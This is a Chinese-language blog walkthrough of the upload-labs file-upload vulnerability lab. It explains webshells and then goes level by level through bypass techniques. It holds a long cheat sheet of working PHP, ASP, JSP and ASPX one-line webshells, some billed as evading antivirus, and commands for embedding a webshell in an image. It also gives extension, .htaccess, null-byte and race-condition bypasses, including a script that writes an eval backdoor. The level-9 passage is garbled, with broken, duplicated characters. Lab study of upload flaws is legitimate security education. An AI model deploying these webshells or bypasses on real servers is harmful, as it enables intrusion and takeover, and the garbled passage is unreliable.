upload-labs通關詳解以及相關知識點

走在路上的小白鼠發表於2020-12-20


upload-labs所有繞過技巧

在這裡插入圖片描述

圖片馬的製作:

1.一句話木馬程式碼:<?php @eval($_POST['caidao']);?>

2.用快捷鍵“win+R”開啟cmd,先進入到先前準備好的兩個檔案的存放路徑,然後敲命令列:copy demo.jpg/b + yjh.php tpm.jpg

upload-labs是一個使用php語言編寫的,專門收集滲透測試和CTF中遇到的各種上傳漏洞的靶場。旨在幫助大家對上傳漏洞有一個全面的瞭解。目前一共20關,每一關都包含著不同上傳方式。

注意
1.每一關沒有固定的通關方法,大家不要自限思維!

2.本專案提供的writeup只是起一個參考作用,希望大家可以分享出自己的通關思路。

3.實在沒有思路時,可以點選檢視提示。

4.如果黑盒情況下,實在做不出,可以點選檢視原始碼。

什麼是檔案上傳漏洞

檔案上傳漏洞是指由於程式設計師在對使用者檔案上傳部分的控制不足或者處理缺陷,而導致的使用者可以越過其本身許可權向伺服器上上傳可執行的動態指令碼檔案。這裡上傳的檔案可以是木馬,病毒,惡意指令碼或者WebShell等。“檔案上傳”本身沒有問題,有問題的是檔案上傳後,伺服器怎麼處理、解釋檔案。如果伺服器的處理邏輯做的不夠安全,則會導致嚴重的後果。

什麼是webshell

WebShell就是以asp、php、jsp或者cgi等網頁檔案形式存在的一種命令執行環境,也可以將其稱之為一種網頁後門。攻擊者在入侵了一個網站後,通常會將這些asp或php後門檔案與網站伺服器web目錄下正常的網頁檔案混在一起,然後使用瀏覽器來訪問這些後門,得到一個命令執行環境,以達到控制網站伺服器的目的(可以上傳下載或者修改檔案,運算元據庫,執行任意命令等)。 WebShell後門隱蔽較性高,可以輕鬆穿越防火牆,訪問WebShell時不會留下系統日誌,只會在網站的web日誌中留下一些資料提交記錄

一句話木馬

PHP馬:

##PHP:
<?php @eval($_POST['r00ts']);?> 
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

<?php usort($_GET,'asse'.'rt');?> php環境>=<5.6才能用
<?php usort(...$_GET);?>  php環境>=5.6才能用
<?php eval($_POST1);?> 
<?php if(isset($_POST['c'])){eval($_POST['c']);}?> 
<?php system($_REQUEST1);?> 
<?php ($_=@$_GET1).@$_($_POST1)?> 
<?php eval_r($_POST1)?> 
<?php @eval_r($_POST1)?>//容錯程式碼 
<?php assert($_POST1);?>//使用Lanker一句話客戶端的專家模式執行相關的PHP語句 
<?$_POST['c']($_POST['cc']);?> 
<?$_POST['c']($_POST['cc'],$_POST['cc'])?> 
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用這個後,使用菜刀一句話客戶端在配置連線的時候在"配置"一欄輸入*/:<O>h=@eval_r($_POST1);</O> 
<?php echo `$_GET['r']` ?> 

<script language="php">@eval_r($_POST[sb])</script> //繞過<?限制的一句話

<?php (])?>   上面這句是防殺防掃的!網上很少人用!可以插在網頁任何ASP檔案的最底部不會出錯,比如 index.asp裡面也是可以的!

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?> 
加了判斷的PHP一句話,與上面的ASP一句話相同道理,也是可以插在任何PHP檔案 的最底部不會出錯!

<%execute request(class)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (class)%><%execute request(class)'<% loop <%:%> 
無防下載表,有防下載表可嘗試插入以下語句突破的一句話 

<%eval(request(1)):response.end%> 備份專用

JSP馬

##JSP:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%> 
提交客戶端 
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>`

ASP馬

##ASP
<%eval(Request.Item["r00ts"],”unsafe”);%>

<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%> 

<%execute(request(“1″))%> 

<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句話 

aspx馬

##aspx
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script> 

<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> 

<%eval request(chr(35))%>  不用雙引號的一句話。

產生檔案上傳漏洞的原因

原因:

對於上傳檔案的字尾名(副檔名)沒有做較為嚴格的限制
對於上傳檔案的MIMETYPE(用於描述檔案的型別的一種表述方法) 沒有做檢查
許可權上沒有對於上傳的檔案目錄設定不可執行許可權,(尤其是對於shebang型別的檔案)
web server對於上傳檔案或者指定目錄的行為沒有做限制

原理:
在 WEB 中進行檔案上傳的原理是通過將表單設為 multipart/form-data,同時加入檔案域,而後通過 HTTP 協議將檔案內容傳送到伺服器,伺服器端讀取這個分段 (multipart) 的資料資訊,並將其中的檔案內容提取出來並儲存的。通常,在進行檔案儲存的時候,伺服器端會讀取檔案的原始檔名,並從這個原始檔名中得出檔案的副檔名,而後隨機為檔案起一個檔名 ( 為了防止重複 ),並且加上原始檔案的副檔名來儲存到伺服器上

檔案上傳後導致的常見安全問題一般有:

上傳檔案是Web指令碼語言,伺服器的Web容器解釋並執行了使用者上傳的指令碼,導致代
碼執行;

上傳檔案是Flash的策略檔案crossdomain.xml,黑客用以控制Flash在該域下的行為(其
他通過類似方式控制策略檔案的情況類似);

上傳檔案是病毒、木馬檔案,黑客用以誘騙使用者或者管理員下載執行:

上傳檔案是釣魚圖片或為包含了指令碼的圖片,在某些版本的瀏覽器中會被作為指令碼執
行,被用於釣魚和欺詐。

除此之外,還有一些不常見的利用方法,比如將上傳檔案作為一個入口,溢位伺服器的後臺處理程式,如圖片解析模組;或者上傳-一個合法的文字檔案, 其內容包含了PHP指令碼,再通過“本地檔案包含漏洞(Local File Include)"執行此指令碼;等等。此類問題不在此細述。

第一關 JS繞過

開啟代理抓包,發現沒有產生流量就進行驗證了,說明是前端JS驗證
在這裡插入圖片描述
將相應的js檔案刪除即可
原始碼:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("請選擇要上傳的檔案!");
        return false;
    }
    //定義允許上傳的檔案型別
    var allow_ext = ".jpg|.png|.gif";
    //提取上傳檔案的型別
    var ext_name = file.substring(file.lastIndexOf("."));
    //判斷上傳檔案型別是否允許上傳
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "該檔案不允許上傳,請上傳" + allow_ext + "型別的檔案,當前檔案型別為:" + ext_name;
        alert(errMsg);
        return false;
    }
}

通過原始碼分析得知:

只允許.jpg|.png|.gif這三種字尾的檔案上傳。

繞過方法:
1.
在這裡插入圖片描述

將上傳的檔名(filename)改為PHP字尾的。
2.
檢視檔案返回路徑,用蟻劍連線。
在這裡插入圖片描述

第二關 檔案型別繞過

在這裡插入圖片描述
將content-type改為image/jpeg
即可繞過。

第三關 其他可解析型別繞過

上傳PHP檔案失敗,根據返回的頁面資料,判斷應該是做了簡單的黑名單處理。所以我們可以使用一些其他可解析的檔案。
例如.php3
.php5等。

#字尾繞過常用手段
PHP:
php2、php3、php5、phtml、pht(是否解析需要根據配置檔案中設定型別來決定)
ASP:
asa、cer、cdx
ASPX:
ascx、ashx、asac
JSP:
jsp、jspx、jspf

為什麼上面的東西可以繞過呢?

這是利用了配置中正則解析的小錯誤實現的。

這些字尾名都可以被當做php檔案執行。符合的字尾包括 php、php3、php4、php5、phtml、pht等,有時候需要挨個進行嘗試

如同第一關進行修改字尾操作,不同的是這裡不需要改包,通過burpsuit獲得上傳檔案路徑即可,直接用蟻劍進行連線,因為上面的字尾修改後都可以解析成相應的檔案(phtml->php)
此處將檔案字尾名進行修改即可。
在這裡插入圖片描述

上傳成功:
在這裡插入圖片描述

第四關 上傳.htacess檔案繞過

思路一:不能上傳php,但能上傳php.jpg,php.asd,說明是黑名單限制,但是場景三中方法如:php3,phtml都被限制了,檢視提示幾乎所有可以繞過的字尾名都被限制了,但是沒有禁止.htaccess,可以先上傳一個.htaccess覆寫後讓所有檔案解析為php,然後再上傳一個圖片馬

htaccess檔案是Apache伺服器中的一個配置檔案,它負責相關目錄下的網頁配置。通過htaccess檔案,可以幫我們實現:網頁301重定向、自定義404錯誤頁面、改變副檔名、允許/阻止特定的使用者或者目錄的訪問、禁止目錄列表、配置預設文件等功能

//.htaccess  修改檔案
SetHandler application/x-httpd-php

(這是將所有的檔案都當做PHP執行)

建立一個.htaccess檔案,寫入程式碼(內容為將4.jpg當做php檔案解析)

<FilesMatch “4.jpg”>
SetHandler application/x-httpd-php
</FilesMatch>

這是隻將指定上傳的檔案當做PHP檔案執行。

先上傳檔案.htaccess然後再上傳圖片格式的一句話木馬,之後直接用中國菜刀連線即可。原因:所有圖片資訊再上面檔案的配置下都會解析成php檔案。

思路二:

字尾名冗餘(未知擴充名繞過)繞過,例如修改成one.php.aaa、one.php.xxxx等。

原理:本質為apache解析漏洞。apache中的主配置檔案httpd.conf中存在DefaultType用於告訴apache該如何處理未知副檔名的檔案,比如something.xxx這樣的檔案,副檔名是xxx,這肯定不是一個正常的網頁或指令碼檔案,這個引數就是告訴apache該怎麼處理這種未知副檔名的檔案。

引數DefaultType的預設值是“text/plain”,也就是遇到未知副檔名的檔案,就把它當作普通的txt文字或html檔案來處理。檔案內容為php程式碼的未知副檔名檔案來說也是解析成文字對於something.php.xxx的多副檔名的檔案,那麼就會被以module方式執行php的apache解析,因為Apache認為一個檔案可以擁有多個副檔名,哪怕沒有檔名,也可以擁有多個副檔名。Apache認為應該從右到左開始判斷解析方法的。如果最右側的副檔名為不可識別的,就繼續往左判斷,直到判斷到檔名為止。

未知擴充名漏洞防禦解決

解決方案一

在httpd.conf或httpd-vhosts.conf中加入以下語句,從而禁止檔名格式為*.php.*的訪問許可權:

<FilesMatch “.(php.|php3.|php4.|php5.)>
Order Deny,Allow
Deny from all
解決方案二

如果需要保留檔名,可以修改程式原始碼,替換上傳檔名中的“.”為“_”:

$filename = str_replace(’.’, ‘_’, $filename);

思路三:

利用PHP 和 Windows環境的疊加特性,以下符號在正則匹配時的相等性:

雙引號"     =   點號.
大於符號>   =   問號?
小於符號<   =   星號*

先上傳一個名為4.php:.jpg的檔案,上傳成功後會生成4.php的空檔案,大小為0KB.

然後將檔名改為4.<或4.<<<或4.>>>或4.>><後再次上傳,重寫4.php檔案內容,Webshell程式碼就會寫入原來的4.php空檔案中。

五,六

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除檔名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此檔案型別不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
    }
}

使用第四關的增加字尾冗餘實現繞過。
也可嘗試字尾名大小繞過。
如果沒有對字尾去空,那麼可以使用:
利用Windows系統的檔名特性。檔名最後增加空格,寫成06.php ,上傳後儲存在Windows系統上的檔名最後的一個空格會被去掉,實際上儲存的檔名就是06.php

第七關 空格繞過

原始碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//刪除檔名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此檔案不允許上傳';
        }
    } else {
        $msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
}

}
通過對原始碼分析:
可以發現,去除了.所以不能使用點繞過,可以使用空格繞過。使用bp抓包後在filename的字尾後面加
在這裡插入圖片描述
同理,如果沒有對.過濾,那麼就可以使用.繞過
在這裡插入圖片描述
也可以使用字尾名冗餘。

第八關:點繞過

原始碼分析:

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
        $file_ext = trim($file_ext); //首尾去空

發現沒對.過濾,使用.繞過。
在這裡插入圖片描述

第九關 ::$DATA檔案流特性繞過

原始碼分析:

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除檔名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = trim($file_ext); //首尾去空

發現沒有對:: D A T A 進 行 過 濾 , 所 以 利 用 w i n d o w s N T F S 文 件 系 統 特 性 繞 過 。 傳 上 o n e . p h p , b u r p s u i t 改 包 , 增 加 後 綴 : : DATA進行過濾,所以利用windows NTFS檔案系統特性繞過。傳上one.php,burpsuit改包,增加字尾:: DATAwindowsNTFSone.phpburpsuit::DATA即可上傳並獲得上傳路徑。
在這裡插入圖片描述

第十關 多點和空格繞過

原始碼:

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除檔名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
        $file_ext = trim($file_ext); //首尾去空

雖然會對.和空格進行過濾,但是隻會過濾一次。
所以我們可以通過寫多個點和空格進行繞過。

第十一關 雙寫檔名繞過

檢視原始碼:

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;      

這個上傳發現什麼都可以傳,但是其字尾被修改了,無法正常解析。因為下面這句新增的控制語句:

$file_name = str_ireplace($deny_ext,"", $file_name);

說明只要出現黑名單裡面的字樣都會被替換成空格。有什麼辦法繞過呢?這個就像腦筋急轉彎一樣。

我們不妨構造類似pphphp這種欄位的字尾,這裡有個地方可以思考,那就是構造這種模式的字串是按照從前往後替換還是從前往後替換呢?也就是pphphp、phphpp是否能行?都行,還是那個行那個不行。這個可以動手嘗試一下

pphphp(php) phphpp(hpp)

構造:pphhph可以繞過

第十二關 檔案路徑%00截斷

通過抓包截斷將【evil.php.jpg】後面的一個【.】換成【0x00】。在上傳的時候,當檔案系統讀到【0x00】時,會認為檔案已經結束,從而將【evil.php.jpg】的內容寫入到【evil.php】中,從而達到攻擊的目的。

截斷條件:
php版本小於5.3.4 詳情關注CVE-2006-7243
php的magic_quotes_gpc為OFF狀態

原始碼分析:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else{
        $msg = "只允許上傳.jpg|.png|.gif型別檔案!";
    }
}

做題之前先要把網站中的php.ini中的安全設定修改一下。

php.ini檔案裡的magic_quotes_gpc設成了off,那麼PHP就不會在敏感字元前加上反斜槓(\)

通過 上面的場景,黑名單雖然對很多的檔案上傳都做了限制,規定那些不能上傳,但是總是有一些其他的方法可以實現繞過,所以黑名單是相對於白名單來說安全級別很低的。

這個場景是一個白名單。並且檔名是拼接而成。

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

可以通過截斷上傳(0x00,%00,/00 )實現。

上傳路徑名%00截斷繞過。上傳的檔名寫成one.jpg,
save_path改成…/upload/one.php%00,最後儲存下來的檔案就是one.php
在這裡插入圖片描述

第十三關:post路徑%00截斷

原始碼分析:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else{
        $msg = "只允許上傳.jpg|.png|.gif型別檔案!";
    }
}
可以看到使用的是白名單過濾,但是可以看到檔案路徑中的$_GET[‘save_path’]變成了 $_POST[‘save_path’]。這又會造成什麼區別呢?

post不會像get對%00進行自動解碼

也就是說我們不能直接在包中直接加入截斷字元了需要手動進行url編碼處理(只需要對%00進行轉碼就可以了)

在這裡插入圖片描述

得到:
在這裡插入圖片描述

我們可以使用hex(十六進位制編碼)加上00截斷。

在這裡插入圖片描述

第十四關 檔案頭檢測

這題是上傳圖片馬,但是想要利用圖片馬還需要結合檔案包含漏洞,所以本題只需要上傳三種圖片格式的檔案碼就行了。

製作圖片馬方法:

copy normal.jpg /b + shell.php /a webshell.jpg

直接通過抓包改包也可以直接上傳只修改了字尾的一句話木馬php檔案。

第十五關 getimagesize()型別驗證

通過getimagesize()函式來實現對檔案型別的識別判斷。也就是說用burpsuit改包的方法操作就複雜了,直接合成一張木馬圖上傳即可(與十四相同)

第十六關 exif_imagetype()檢測

通過函式exif_imagetype()函式獲得圖片檔案的型別,從而實現檔案白名單的過濾操作。不能抓包改包實現,依舊使用圖片馬合成。

第十七關 二次渲染

在將圖片上傳成功後,使用檔案包含來使用一句話木馬,開啟後發現,沒有一句話木馬。
在這裡插入圖片描述
用檔案包含漏洞解析發現是並沒有成功。

將圖片下載下來放到winhex中和我們上傳的一句話圖片木馬進行比較,找相同的地方並且修改為自己的一句話。

再對新修改的一句話圖片木馬上傳,上傳成功。

圖片馬二次渲染繞過
1、gif圖片
對於gif圖片,gif圖片的特點是無損(修改圖片後,圖片質量幾乎沒有損失),我們可以對比上傳前後圖片的內容位元組,在渲染後不會被修改的部分插入木馬。對比工具可以使用burp,也可以使用010編輯器(更直觀一點)

在這裡插入圖片描述

十八關 條件競爭上傳

原始碼分析:

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允許上傳.jpg|.png|.gif型別檔案!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯!';
    }
}

題目提示我們程式碼審計。首先了解一下$_file函式,

通過使用 PHP 的全域性陣列 $_FILES,你可以從客戶計算機向遠端伺服器上傳檔案。

第一個引數是表單的 input name,第二個下標可以是 “name”, “type”, “size”, “tmp_name” 或 “error”。就像這樣:

$_FILES["file"]["name"] - 被上傳檔案的名稱
$_FILES["file"]["type"] - 被上傳檔案的型別
$_FILES["file"]["size"] - 被上傳檔案的大小,以位元組計
$_FILES["file"]["tmp_name"] - 儲存在伺服器的檔案的臨時副本的名稱
$_FILES["file"]["error"] - 由檔案上傳導致的錯誤程式碼

先將檔案上傳到伺服器,然後通過rename修改名稱,再通過unlink刪除修改名稱後的檔案,這裡可以通過條件競爭的方式在unlink之前,訪問webshell。

首先在burp中不斷髮送上傳webshell的資料包即可。

為什麼可以這樣操作呢?之前的場景為什麼不行呢?我們可以仔細看到這裡的程式碼是不一樣的構造。

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允許上傳.jpg|.png|.gif型別檔案!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯!';
    }
}

其實這個程式碼都沒啥大問題,執行下來都是OK的,但是這裡是這樣操作的,先通過move_uploaded_file把檔案儲存了,然後再去判斷字尾名是否合法,合法就重新命名,如果不合法再刪除。重是重點在於,在多執行緒情況下,就有可能出現還沒處理完,我們就訪問了原檔案,這樣就會導致被繞過防護。下面是我隨便找的之前的某一關,很明顯看到之前程式碼是先改名,再移動儲存。所以可以用條件競爭打他個措手不及,使得檔案儲存了但是沒能及時處理。

在這裡插入圖片描述

那麼怎麼利用條件競爭呢?

使用競爭條件上傳,用burp一直上傳檔案,用python指令碼一直訪問臨時檔案,臨時檔案內容為我們寫入一句話到它的目錄。

其中python程式碼如下:

import requests
def main():
    i=0
    while 1:
        try:
            print(i,end='\r')
            test = requests.get("http://192.168.44.129:9096/upload/upload/success.php")         //寫入上傳位置路徑地址
            if "260ca9dd8a4577fc00b7bd5810298076" in test.text:
                print("OK")
                break
        except Exception as e:
            pass
        i+=1
if __name__ == '__main__':
    main()

上傳檔案寫入程式碼如下:

<?PHP
 
echo md5(success);
 
fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST[123])?>');
 
?>

用burpsuit進行抓包,清除掉payload位置。並且將payload選擇no payload,將負載調成500。設定好後就可以開始了。

在這裡插入圖片描述

在這裡插入圖片描述

同時將我們的python檔案執行。

第十九關 條件競爭上傳

程式碼審計:

<li id="show_code">
    <h3>index.php程式碼</h3>
<pre>
<code class="line-numbers language-php">//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '檔案已經被上傳,但沒有重新命名。';
            break; 
        case -1:
            $msg = '這個檔案不能上傳到伺服器的臨時檔案儲存目錄。';
            break; 
        case -2:
            $msg = '上傳失敗,上傳目錄不可寫。';
            break; 
        case -3:
            $msg = '上傳失敗,無法上傳該型別檔案。';
            break; 
        case -4:
            $msg = '上傳失敗,上傳的檔案過大。';
            break; 
        case -5:
            $msg = '上傳失敗,伺服器已經存在相同名稱檔案。';
            break; 
        case -6:
            $msg = '檔案無法上傳,檔案不能複製到目標目錄。';
            break;      
        default:
            $msg = '未知錯誤!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};
</code>
</pre>
</li>

根據apache的字尾名識別漏洞:從右往左依次識別字尾,遇到不能識別的字尾名便跳過 ,因此可以檔名改為

1.php.7z,然後利用bs 快速發包,

本關對檔案字尾名做了白名單判斷,然後會一步一步檢查檔案大小、檔案是否存在等等,將檔案上傳後,對檔案重新命名,同樣存在條件競爭的漏洞。可以不斷利用burp傳送上傳圖片馬的資料包,因為move在rename之前,move操作進行了一次檔案儲存,然後rename進行了一次更改檔名,由於條件競爭,程式會出現來不及rename的問題,從而上傳成功

所以本題相對上題是差不多的,只不過多了一部操作而已:增加Apache的解析識別漏洞(字尾冗餘)

(1)利用Apache 的漏洞,將webshell 指令碼檔名改為1.php.7z (白名單中 有.7z 這個apache 不能識別的字尾,所以用.7z)

然後利用bs 去不斷快速發包,實現條件競爭,進而保留了指令碼名,使apache 將其識別為1.php

